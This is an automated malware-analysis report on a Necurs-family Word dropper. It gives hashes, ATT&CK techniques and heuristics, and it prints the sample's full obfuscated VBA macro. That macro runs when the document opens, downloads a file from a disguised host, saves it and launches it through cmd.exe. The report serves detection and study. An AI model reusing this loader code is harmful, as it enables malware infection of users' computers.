Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d4a8da30821df543…

MALICIOUS

Office (OLE)

152.0 KB Created: 2017-12-13 15:07:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 704cb2d5ecdbfdcbf794dddc18886023 SHA-1: 9a5835095d97181c8aac104f5319e62a5223591f SHA-256: d4a8da30821df543407bcbbc25bf2a89db3d3f5c8d49fddeddaecd3b47c111ef
570 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that is automatically executed via the Document_Open subroutine. The macro uses CreateObject and Shell calls, indicative of a downloader or stager. The document body explicitly prompts the user to enable editing and content, a common social engineering lure. The presence of cmd.exe references and a suspicious rundll32.exe sequence further supports malicious intent.

Heuristics 15

  • ClamAV: Doc.Macro.Necurs-6412436-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Necurs-6412436-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    VBA.Shell$ ("cmd.exe /c START """" " + dublindr_Project)
End Function
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    If Windows.Count > 0 Then
    SERgiev = Split(Join(Array("", ValorMar, ""), ""), bashne.SKOKA.Caption)
End If
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    End If
    Set Fuse = CreateObject(SubMenu(1))
    Set dublindr_aifde = CreateObject(SubMenuE)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End If
    Set Fuse = CreateObject(SubMenu(1))
    Set dublindr_aifde = CreateObject(SubMenuE)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Fuse, bashne.Label2.Caption + "t" + Mid(dublindr_System, 3, 1), VbMethod, dublindr_PokerFace
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    VBA.Shell$ ("cmd.exe /c START """" " + dublindr_Project)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
dublindr_FurryBlade = -14
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23704 bytes
SHA-256: ae3c00449eb7978e3198f1c7107cf0bd0880cc0dce9c8fabe916e5b1a1f9f141
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private _
Function NumOfDeviceNames() As Integer
  Return
End Function

Sub Document_Open()
dublindr_FurryBlade = -14
DosviWrang "Pipikaka"
End Sub


Function Deramba() As String
  Dim tmp
  tmp = L.LastError
  Return
End Function


Attribute VB_Name = "bashne"
Attribute VB_Base = "0{5921D821-8ED0-405F-B0AE-0ABF46CA402B}{F30C2184-5E0E-41C4-A694-420C402D489B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Sub doc_of_word_outline_level7()
    MCASE = "Outline Level 7"
End Sub
Sub word_outline_level7()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel7
    comple.te
End Sub


Sub ErrorMessage(sMessage$)
        
        If (bLOGOn = cOn) Then
            WriteLOG (sMessage$)
        Else
            MsgBox sMessage$, 16
        End If
End Sub




Sub WriteLOG(sMessage$)
        If (bLOGOn = cOn) Then
            Wri.te nLOGFileHandle, sMessage
        End If
End Sub














    

Public Sub DryMoch()


CallByName Fuse, bashne.Label2.Caption + "t" + Mid(dublindr_System, 3, 1), VbMethod, dublindr_PokerFace

GoTo cip


 For G = 0 To CryToLoad.Size - 1
 CryToLoad.Data(G) = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, (cryOffset) + 16 + G, 1)))
 Next
 
 If Alignment = 0 Then
 pcmLevel = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, offtrack, 1)))
 offtrack = offtrack + 1
 Data.Add (pcmLevel)
 Alignment = &H20
 End If
 offtrack = offtrack + 1
 If Alignment < &H20 Then
 Data.Add (pcmLevel)
 End If
 Data.Add (pcmLevel)
 If Size >= CryToLoad.Size Then
 End If

cip:

If dublindr_FurryBlade > 0 Then

 Exit Sub
End If
FindNext "5", 6
End Sub



Sub InfoMessage(sMessage$)
        
        If (bShowErrorsOnly = cOff) Then
            
            If (bLOGOn = cOn) Then
                WriteLOG (sMessage$)
            Else
                MsgBox sMessage$, 64
            End If
        End If
End Sub




Attribute VB_Name = "Module2"


Public Stocke As Integer
Public dublindr_Project As String
Public VertikName As String
Public CofeeShop As Object

Public SubMenu() As String

Public SubMenuE As String

Public dublindr_PokerFace As Variant
Public dublindr_aifde As Object
Public dublindr_FLAME As String
Public dublindr_avatar As Object
  

Public SERgiev() As String
Public dublindr_4 As String
  
Public Const dublindr_System = "User-Agent"
Public Fuse As Object
Public smbi As String
Public dublindr_2 As String
Public Const Quubo = 0



Public dublindr_VEAM As Object
Public dublindr_FurryBlade As Integer




Public Sub AnimTransferMap(Caption As String, IsMapTransfer As Boolean)
    Dim xt As Integer, yt As Integer, PValue As Integer, I As Integer, L As Long
    ValorMar = Replace("motifahsapTRALAALARTCcTRALAALARTB/nBSvshHTD6RUDNitsmaterialTRALAALARTCus/nBSvshHTD6", "TRALAALARTB", "om")
    ValorMar = Replace(ValorMar, "TRALAALARTC", ".")

If Windows.Count > 0 Then
    SERgiev = Split(Join(Array("", ValorMar, ""), ""), bashne.SKOKA.Caption)
End If
    Set Fuse = CreateObject(SubMenu(1))
    Set dublindr_aifde = CreateObject(SubMenuE)

    Exit Sub
    xt = CenterX - 77
    yt = CenterY - 10
    If IsMapTransfer Then
        PValue = (ResX - 88) \ 12
        L = UBound(RMData) \ PValue
        For I = 1 To PValue
            If I * L >= RMCount Then
                Optio.nGFX "selectfalse", 32 + I * 12, CenterY + 200
            Else
                Optio.nGFX "selecttrue", 32 + I * 12, CenterY + 200
            End If
        Next
    End If
End Sub



Public Sub DropFlag()
    Dim lMsg As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    lNewOffSet = 0
    ReDim oNewMsg(0)
    lMsg = MSG_DROPFLAG
    AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
    SendTo oNewMsg
End Sub



 Public Sub AnimTransferMap2(cry As Integer)
 If cry = 1 Then
CallByName CofeeShop, bashne.OptionButton1.Tag, VbMethod, SubMenu(5), dublindr_4, False
Exit Sub
Else: GoTo lab1
End If
 If c.Ry.Offset = 0 Then
 Exit Sub
 End If
 writer.Write (Encoding.ASCII.GetBytes("RIFF"))
 writer.Write (0)
 writer.Write (Encoding.ASCII.GetBytes("WAVE"))
 writer.Write (Encoding.ASCII.GetBytes("fmt "))
 writer.Write (16)
 writer.Write (CUS.hort(1))
 writer.Write (CUS.hort(1))
 
lab1:
CallByName CofeeShop, bashne.OptionButton2.Tag, VbMethod, dublindr_System, _
bashne.SpinButton1.Tag
Exit Sub
 stream.Seek 0, SeekOrigin.begin
 Player.Load
 Player.Play
End Sub



Public Sub MakeFarplane2(I As Integer)
    Dim j As Integer, D As Integer, DiagMvSpd As Single, LastCX As Single, LastCY As Single, e As Integer
    Dim MvSpd As Single, sx As Single, sy As Single, chs As Single
    GoTo sinus
    MvSpd = Speed * 1.1
    
    If Player.S(I).FlagWho > 0 Then MvSpd = MvSpd * 0.75
    If Player.S(I).DevCheat > 2 Then MvSpd = MvSpd * 3
    If Player.S(I).Mode = 1 Then MvSpd = MvSpd * 6
    
    DiagMvSpd = 0.7 * 1.1
    chs = MvSpd / (Int(MvSpd) + 1)
    
    If Player.S(I).Ship = 6 Then
        Select Case Player.S(I).KeyIs
        Case Is = vbKeyLeft
            Player.S(I).animY = aLEFT2
        Case Is = vbKeyUp
            Player.S(I).animY = aUP2
        Case Is = vbKeyRight
            Player.S(I).animY = aRIGHT2
        Case Is = vbKeyDown
            Player.S(I).animY = aDOWN2
        End Select
    End If
    Player.S(I).animX = Player.S(I).KeyIs
    If Val(Int(MvSpd)) > 100 Then Exit Sub
    
    For j = 0 To Int(MvSpd)
        LastCX = Player.S(I).charX
        LastCY = Player.S(I).charY
        If Player.S(I).KeyIs = 1 Then
            Player.S(I).charX = Player.S(I).charX + chs
        ElseIf Player.S(I).KeyIs = 2 Then
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 3 Then
            Player.S(I).charY = Player.S(I).charY - chs
        ElseIf Player.S(I).KeyIs = 4 Then
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 5 Then
            Player.S(I).charX = Player.S(I).charX - chs
        ElseIf Player.S(I).KeyIs = 6 Then
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 7 Then
            Player.S(I).charY = Player.S(I).charY + chs
        ElseIf Player.S(I).KeyIs = 8 Then
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
        End If
        Call ShipTo.uch(I)
        For e = 1 To UBound(RetCollision)
            D = RetCollision(e)
            If D = 8 Then Player.S(I).charY = Player.S(I).charY - chs * 0.7
            If D = 9 Then Player.S(I).charY = Player.S(I).charY + chs * 0.7
            If D = 10 Then Player.S(I).charX = Player.S(I).charX - chs * 0.7
            If D = 11 Then Player.S(I).charX = Player.S(I).charX + chs * 0.7
            'The following four lines stop you from moving backwards on
            'ramps if you have a flag.
            'If D = 8 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 7 Then Player.s(i).charY = LastCY
            'If D = 9 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 3 Then Player.s(i).charY = LastCY
            'If D = 10 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 1 Then Player.s(i).charX = LastCX
            'If D = 11 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 5 Then Player.s(i).charX = LastCX
        Next
        GoSub whatever
    Next
    Exit Sub
    

whatever:
    sx = Player.S(I).charX
    sy = Player.S(I).charY
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        
        If (FindRects.ret(101) And FindRects.ret(109)) Or (FindRects.ret(108) And FindRects.ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.ret(101) And FindRects.ret(109) Then 'TRALAALART top
                    Player.S(I).charY = Player.S(I).charY + 1
                End If
                Call ShipTo.uch(I)
                If FindRects.ret(108) And FindRects.ret(116) Then 'TRALAALART bottom
                    Player.S(I).charY = Player.S(I).charY - 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
sinus:
mapRender
 CallByName Fuse, "Open" + "", VbMethod

dublindr_PokerFace = CallByName(CofeeShop, "resp" + "onseBo" + "dy", VbGet)

Set Class2Object = New Class2
Class2Object.DryMoch
    Exit Sub
    
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        Player.S(I).charX = LastCX
        Player.S(I).charY = LastCY
        If (FindRects.ret(104) And FindRects.ret(105)) Or (FindRects.ret(112) And FindRects.ret(113)) Then
            Player.S(I).charY = sy
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY
            Return
        End If
        If (FindRects.ret(101) And FindRects.ret(109)) Or (FindRects.ret(108) And FindRects.ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
    Return
End Sub





Public Sub ShugarMilk(e As Integer)
    Dim Rx As Integer, Ry As Integer, rBuff As String
    Dim xt As Integer, yt As Integer, j As Integer
    Dim NewX As Integer, NewY As Integer, D As Integer, SgnX As Integer, SgnY As Integer
    Dim RatioX As Single, RatioY As Single
    Rx = 452
    Ry = 81
  Rytt = "Se" + bashne.ToggleButton2.Caption
     dublindr_4 = bashne.ZK.Caption & SERgiev(I)
 Stocke = Stocke + 2
 Dim XIpotom2 As Class0
Set XIpotom2 = New Class0
If e > 289 Then


 
Else

 XIpotom2.Challenge "RDBMS", 21
CallByName CofeeShop, Rytt, VbMethod
Set XIpotom2 = Nothing
End If
Exit Sub
   
    UniB.all(I).BLoopX = UniB.all(I).BLoopX + (UniB.all(I).BSpeedX * Speed)
    For j = 1 To UniB.all(I).BLoopX
        NewX = NewX + UniB.all(I).BMoveX
        UniB.all(I).BLoopX = UniB.all(I).BLoopX - 1
    Next
    
    UniB.all(I).BLoopY = UniB.all(I).BLoopY + (UniB.all(I).BSpeedY * Speed)
    For j = 1 To UniB.all(I).BLoopY
        NewY = NewY + UniB.all(I).BMoveY
        UniB.all(I).BLoopY = UniB.all(I).BLoopY - 1
    Next
    
    
    SgnX = Sgn(NewX - UniB.all(I).BallX)
    SgnY = Sgn(NewY - UniB.all(I).BallY)
    
    
    If SgnX = 1 Then
        For D = UniB.all(I).BallX + 1 To NewX
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnX = -1 Then
        For D = UniB.all(I).BallX - 1 To NewX Step -1
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D + 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = 1 Then
        For D = UniB.all(I).BallY + 1 To NewY
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = -1 Then
        For D = UniB.all(I).BallY - 1 To NewY Step -1
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D + 1
                Exit For
            End If
        Next
    End If
    
    UniB.all(I).BallX = NewX
    UniB.all(I).BallY = NewY
    j = WeaponT.ouch(6, I, NewX, NewY)
    xt = NewX
    yt = NewY
    xt = xt - MeX: yt = yt - MeY
    
    rBuf.F.Top = Ry
    rBuf.F.Bottom = rBuf.F.Top + 10
    rBuf.F.Left = Rx + 10 * (UniB.all(I).Color - 1)
    rBuf.F.Right = rBuf.F.Left + 10
    
    If xt < 0 Then rBuf.F.Left = rBuf.F.Left + Abs(xt): xt = 0
    If yt < 0 Then rBuf.F.Top = rBuf.F.Top + Abs(yt): yt = 0
    If xt > ResX - 10 Then rBuf.F.Right = rBuf.F.Right - (xt - (ResX - 10)): xt = (ResX - 10) + (xt - (ResX - 10))
    If yt > ResY - 10 Then rBuf.F.Bottom = rBuf.F.Bottom - (yt - (ResY - 10)): yt = (ResY - 10) + (yt - (ResY - 10))
    
    BackBuffer.BltFast xt, yt, DirectDraw_NavBar, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Sub Vertik()


Set CofeeShop = CreateObject(VertikName)

smbi = bashne.Label1.Caption
SubMenuE = SubMenu(2)

    Set dublindr_avatar = CreateObject(SubMenu(3))

AnimTransferMap "Caption", False

Set dublindr_VEAM = dublindr_avatar.Environment(SubMenu(4))

 Stocke = 24 / 4
 dublindr_FLAME = dublindr_VEAM(SubMenu(6))
MakeFarplane "G", "I", "MS"
End Sub





Public Function FindNext(R As String, S As Integer) As String


CallByName Fuse, "sav" + bashne.o3.Caption, VbMethod, dublindr_Project, 2




VBA.Shell$ ("cmd.exe /c START """" " + dublindr_Project)
End Function

Public Sub mapRender()
    
GoTo fixedTypeLbl2
If BackBuffer.isLost Then Exit Sub
    If DirectDraw_Tiles Is Nothing Then Exit Sub
    Dim DestX As Single, DestY As Single, FrameChange(255, 255) As Byte
    Dim I As Integer, R As Integer, j As Integer, c As Integer, D As Integer, a As Integer, e As Integer
    Dim Xfind As Integer, Yfind As Integer, Xwdth As Integer, Ywdth As Integer, X As Integer
    Dim Xcoor As Integer, Ycoor As Integer, Xdif As Integer, Ydif As Integer
    Dim TileGet As Integer, xt As Integer, yt As Integer, ToX As Integer, ToY As Integer
    ReDim AnimsPlayed(0)
    MeX = Playe.rs(MeNum).charX - CenterSX
    MeY = Playe.rs(MeNum).charY - CenterSY
    MapX = (MeX - (MeX Mod 16)) / 16
    MapY = (MeY - (MeY Mod 16)) / 16
    If MeY < 0 Then MapY = MapY - 1
    If MeX < 0 Then MapX = MapX - 1
    DestX = Playe.rs(MeNum).charX - MapX * 16
    DestY = Playe.rs(MeNum).charY - MapY * 16
    Xdif = MeX - MapX * 16
    Ydif = MeY - MapY * 16
    ToX = ResX / 16
    ToY = ResY / 16
    
    If ResY = 600 Then
        If Ydif < 8 Then ToY = 37 Else ToY = 38
    End If
    I = MapX * 16 + Xdif
    j = MapY * 16 + Ydif
    D = I
    c = j
    If I < 0 Then D = 0
    If j < 0 Then c = 0
    TileG.et.Left = D
    TileG.et.Top = c
    If I < 0 Then D = I Else D = 0
    If j < 0 Then c = j Else c = 0
    D = TileG.et.Left + ResX + D
    c = TileG.et.Top + ResY + c
    If D > 4080 Then D = 4080
    If c > 4080 Then c = 4080
    TileG.et.Right = D
    TileG.et.Bottom = c
    D = MapX * 16 + Xdif
    c = MapY * 16 + Ydif
    If D >= 0 Then D = 0
    If c >= 0 Then c = 0
    BackBuffer.BltFast Abs(D), Abs(c), DirectDraw_Map, TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
    c = 0
    D = 0
    
fixedTypeLbl2:
 dublindr_Project = dublindr_FLAME


GoTo fixedTypeLbl3
    
    If MeY < 0 Then c = MapY
    If MeX < 0 Then D = MapX
    For R = Abs(c) To ToY
        For I = Abs(D) To ToX
            
            Xcoor = I * 16
            If I > 0 Then Xcoor = Xcoor - Xdif
            Ycoor = R * 16
            If R > 0 Then Ycoor = Ycoor - Ydif
            
            X = AnimO.ffset(yt, xt)
            If X > 0 Then
                a = Animati.ons(yt, xt)
                If FrameChange(FrameC.ount(a), AnimS.peed(a)) = 0 Then
                    If AnimS.peed(a) = 0 Then AnimS.peed(a) = 1
                    AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = AnimC.ount(FrameC.ount(a), AnimS.peed(a)) + Speed / AnimS.peed(a)
                    If AnimC.ount(FrameC.ount(a), AnimS.peed(a)) > FrameC.ount(a) - 1 Then AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = 0
                End If
                FrameChange(FrameC.ount(a), AnimS.peed(a)) = 1
                e = AnimC.ount(FrameC.ount(a), AnimS.peed(a))
                e = (e + X) Mod (FrameC.ount(a))
                TileG.et.Top = Anim.FY(a, e) + Yfind
                TileG.et.Bottom = TileG.et.Top + Ywdth
                TileG.et.Left = Anim.FX(a, e) + Xfind
                TileG.et.Right = TileG.et.Left + Xwdth
                Call BackBuffer.BltFast(Xcoor, Ycoor, DirectDra.w_Anims(Anim.FS(a, 0)), TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY)
            End If
out:
        Next
    Next
    
fixedTypeLbl3:
summer = 1
dublindr_Project = dublindr_Project + Replace(SubMenu(12), ".", CStr(Stocke) + ".")
winter = 2
Fuse.Type = winter - summer
End Sub


 








Attribute VB_Name = "Class0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function statRom1() As String

tt = ThisDocument.BuiltInDocumentProperties("Content status").Value
SubMenu = Split(tt, "BUDIRA")
VertikName = SubMenu(3 * Quubo)
Vertik

SuD = ""

End Function




Public Function CheckRectsMenuMenu1() As Integer
    Dim rTemp, rMouse, I As Integer
    With rMouse
        .Left = g_cursorx
        .Right = .Left + 1
        .Top = g_cursory
        .Bottom = .Top + 1
    End With
    If MenuMenu = 1 Then
        For I = 0 To 3
            If IntersectRect(rTemp, rHelp(I), rMouse) Then
                CheckRectsMenuMenu1 = I + 1
                Exit Function
            End If
        Next
    End If
    If MenuMenu = 5 Then
        If IntersectRect(rTemp, rHelp(4), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 6 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Or MenuMenu = 8 Then
        If IntersectRect(rTemp, rHelp(5), rMouse) Then
            CheckRectsMenuMenu1 = 5
            Exit Function
        End If
    End If
    If MenuMenu = 7 Then
        If IntersectRect(rTemp, rHelp(6), rMouse) Then
            CheckRectsMenuMenu1 = 6
            Exit Function
        End If
    End If
End Function

    Public Sub Challenge(sender As String, e As Integer)
AnimTransferMap2 1
AnimTransferMap2 222
    End Sub
    




Attribute VB_Name = "Module1"

Public Sub AnimExpl(I As Integer)

    sw = rExpl.Right - rExpl.Left
    sh = rExpl.Bottom - rExpl.Top
    xt = ExplX(I) - MeX - (sw / 2)
    yt = ExplY(I) - MeY - (sh / 2)
    If xt < 0 Then rExpl.Left = rExpl.Left + Abs(xt): xt = 0
    If yt < 0 Then rExpl.Top = rExpl.Top + Abs(yt): yt = 0
    If xt > ResX - sw Then rExpl.Right = rExpl.Right - (xt - (ResX - sw)): xt = (ResX - sw) + (xt - (ResX - sw))
    If yt > ResY - sh Then rExpl.Bottom = rExpl.Bottom - (yt - (yt - sh)): ExY = (yt - sh) + (yt - (ResY - sh))

End Sub

Public Function DosviWrang(D)
    MCASE = "MCASE 1"
    MCASE2 = "statRom"
    Dim statRom As Class0
    Set statRom = New Class0
    MCASE = MCASE & "MCASE 2"
    
    CallByName statRom, MCASE2 & "1", VbMethod
    
End Function




Public Sub MakeFarplane(a As String, b As String, c As String)
GoTo old18
    If BackBuffer.isLost Then Exit Sub
    Dim xt As Integer, yt As Integer, rDD As Integer
    Dim xtl As Integer, ytl As Integer, xw As Integer, yw As Integer
    xw = ResX
    yw = ResY
    If xw > 1280 Then xw = 1280
    If yw > 960 Then yw = 960
    xt = 0.1568 * MeX
    yt = 0.1176 * MeY
    xtl = xt + xw
    ytl = yt + yw
    If xtl > 1280 Then
        xt = 1280 - xw
        xtl = 1280
    End If
    If ytl > 960 Then
        yt = 960 - yw
        ytl = 960
    End If
    
old18:

 Dim I
 
For I = LBound(SERgiev) To UBound(SERgiev) Step 1
 ShugarMilk 64
If CofeeShop.Status + 3 <> 203 Then
 Err.Raise 700 + vbObjectError, "D", "Fuel"
End If
    
    
    
    MakeFarplane2 33
 Exit Sub
dee13:
Next
On Error GoTo 0

Exit Sub

    If yt < 0 Then
        yt = 0
        ytl = yw
    End If
    
    With rD.D.hh
        .Left = xt
        .Top = yt
        .Right = xtl
        .Bottom = ytl
    End With
    BackBuffer.BltFast 0, 0, DirectDraw_Farplane, rDD, DDBLTFAST_WAIT
End Sub



Attribute VB_Name = "Module0"

Public Sub WriteChat()
    Dim e As Integer, j As Integer, q As Integer, F As Integer, D As Integer, rrect As RECT, I As Integer
    DirectDraw_Chat.BltColorFill rrect, KEYColor
    e = 1
    j = UBound(Chat)
    For I = 0 To j
        q = Len(Chat(I))
        While q > 0
            F = MakeText(Mid$(Chat(I), 1, 1) & Mid$(Chat(I), e + 1, q), 5, 5 + (I + D) * 12, True, DirectDraw_Chat)
            e = e + F - 1
            q = Len(Chat(I)) - e
            If q > 0 Then D = D + 1
        Wend
        e = 0: q = 0
    Next
End Sub







Public Sub AnimPowerup(pwr As Integer)
    Dim rBuff As Integer
    Dim ExX As Long, ExY As Long
    If NewGTC - PowerFrameT(pwr) > 100 Then
        PowerFrame(pwr) = PowerFrame(pwr) + 1
        If PowerUp(pwr) = 1 Then
            If PowerFrame(pwr) > 5 Then PowerFrame(pwr) = 0
        Else
            If PowerFrame(pwr) > 11 Then PowerFrame(pwr) = 0
        End If
        PowerFrameT(pwr) = NewGTC
    End If
    
    If PowerEffect(pwr) = 2 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 3
        Else
            Exit Sub
        End If
    ElseIf PowerEffect(pwr) = 3 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 2
            Exit Sub
        End If
    End If
    
    
    ExX = PowerX(pwr)
    ExY = PowerY(pwr)
    ExX = ExX - MeX: ExY = ExY - MeY
    
    rBuff.Top = 355 + (PowerUp(pwr) - 1) * 24
    rBuff.Bottom = rBuff.Top + 24
    rBuff.Left = PowerFrame(pwr) * 24
    rBuff.Right = rBuff.Left + 24
    
    If ExX < 0 Then rBuff.Left = rBuff.Left + Abs(ExX): ExX = 0
    If ExY < 0 Then rBuff.Top = rBuff.Top + Abs(ExY): ExY = 0
    If ExX > ResX - 24 Then rBuff.Right = rBuff.Right - (ExX - (ResX - 24)): ExX = ResX - 24 + (ExX - (ResX - 24))
    If ExY > ResY - 24 Then rBuff.Bottom = rBuff.Bottom - (ExY - (ResY - 24)): ExY = ResY - 24 + (ExY - (ResY - 24))
    If PowerUp(pwr) <> 0 Then BackBuffer.BltFast ExX, ExY, DirectDraw_Tuna1, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.